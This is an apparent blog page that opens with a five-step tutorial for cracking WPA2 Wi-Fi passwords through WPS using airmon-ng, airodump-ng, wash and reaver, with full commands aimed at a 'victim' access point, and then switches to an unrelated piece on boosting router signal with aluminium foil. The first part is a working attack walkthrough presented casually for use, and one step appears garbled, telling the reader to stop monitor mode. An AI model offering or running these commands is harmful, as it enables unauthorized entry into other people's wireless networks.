Wi-fi hacking is not a big deal – Crack WPA2 Password in 5 steps !!!

 





Requirements:

  1. Wireless card (support promiscuous mode) 
  2. Access point with WPA2 and WPS enables 
  3. Linux installed PC(ubuntu,kali,mint,etc). 

STEP 1:Open our terminal (CTRL+ALT+T) and type airmon-ng (view tips and tricks how to create keyboard shortcut on kali linux)
this command will lists our wireless card that attached with our system.

STEP 2: The next step we need to stop our wireless monitor mode by running airmon-ng stop wlan0

STEP 3: Now we ready to capture the wireless traffic around us. By running airodump-ng wlan0 our wireless interface will start capturing the data.





From the picture above, we can see many available access point with all the information. In the green box is our victim access point which is my own access point

REFERENCE

  • BSSID (Basic Service Set Identification): the MAC address of access point.
  • PWR: Signal level reported by the card. 
  • Beacons: Number of announcements packets sent by the AP .
  • #Data: Number of captured data packets (if WEP, unique IV count), including data broadcast packets. 
  • #/s: Number of data packets per second measure over the last 10 seconds. 
  • CH: Channel number (taken from beacon packets). 
  • MB: Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. 
  • ENC: Encryption algorithm in use. 
  • CIPHER: The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2. 
  • AUTH: The authentication protocol used. 
  • ESSID: Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated. 

STEP 4
: From the step 3 above, we can find access point with encryption algorithm WPA2 and note the AP channel number. Now we will find out whether target AP has WPS enabled or not wash -i wlan0 -c 8 -C -s

If the WPS Locked status is No, then we ready to crack and move to step 5.

STEP 5: The last step is cracking the WPA2 password using reaver.
reaver -i <your_interface> -b <wi-fi victim MAC address> –fail-wait=360

Because we already get the information from step 3 above, so my command look like this:
reaver -i wlan0 -b E0:05:C5:5A:26:94 –fail-wait=360.






it took about 5 hours to crack 19 characters WPA2 password from my Kali virtualBox, but it depend with our hardware and wireless card.

All You Need is an Aluminium Foil to Boost Your WI-FI Strength and Here’s How

Are you looking for ways to boost the signal strength of that wireless router in your home without having to spend extra for a Wifi extender? Is your crappy Wi-Fi signal preventing you from uploading an inspiring Facebook status? It’s pretty much hard for your Wi-Fi connection to reach all the four corners of your home, apart from the garden and beyond. To take your computing to the distance, you’ll need to severely increase your Wi-Fi signal strength.

Wi-Fi is an essential component for everyone these days as our works almost rely on the internet. However, the current generation is very busy with a hectic schedule, and it is very hard to work on the sluggish internet connection. Weak Wi-Fi signal is a common problem, especially if the router location is distant from the receiver device, to maintain signal strength there’s a simple and easy way to increase your Wi-Fi signal strength.
How to Increase your wifi signal strength using aluminum foil
Without expending too much cost for purchasing another Wi-Fi range extender or buy for new router to make a good signal, some aluminum foil will do the trick. Surprised? Yes, you heard it right! Simply head over to the kitchen and grab some Aluminum foil that is commonly used by your mother for cooking or for wrapping sandwiches so that they stay fresh a little longer. This inexpensive aluminum foil can do the task of boosting the Wi-Fi signal strength.

How to Boost Wi-Fi Signal Strength using Aluminum foil?

Here’s a step-by-step procedure on how to increase your Wi-Fi signal strength using an aluminum foil. Check out the simple process!
Things Required
  • Aluminum Foil
  • Scissor (optional)
  • Router
Step 1: Initially, cut or tear off a piece of aluminum foil in the shape of a rectangle. Fold all the surrounding edges to appear as a frame and give it a curve shape.

Step 2: Add some stability in order to withstand and place the foil behind the antenna of your router.
Step 3: The aluminum foil will reflect the wireless signals by making the signal focus into the selected directions of your house.
Step  4: If your router is mounted on a wall, you can just make holes in the Aluminium foil and insert the foil into the holes of the antenna.

Step  5: After placing the aluminum foil behind your router, you can observe the change in the Wi-Fi signal strength.
This way you can increase the signal strength of your Wi-Fi network so that you can upload o download files in a faster way.
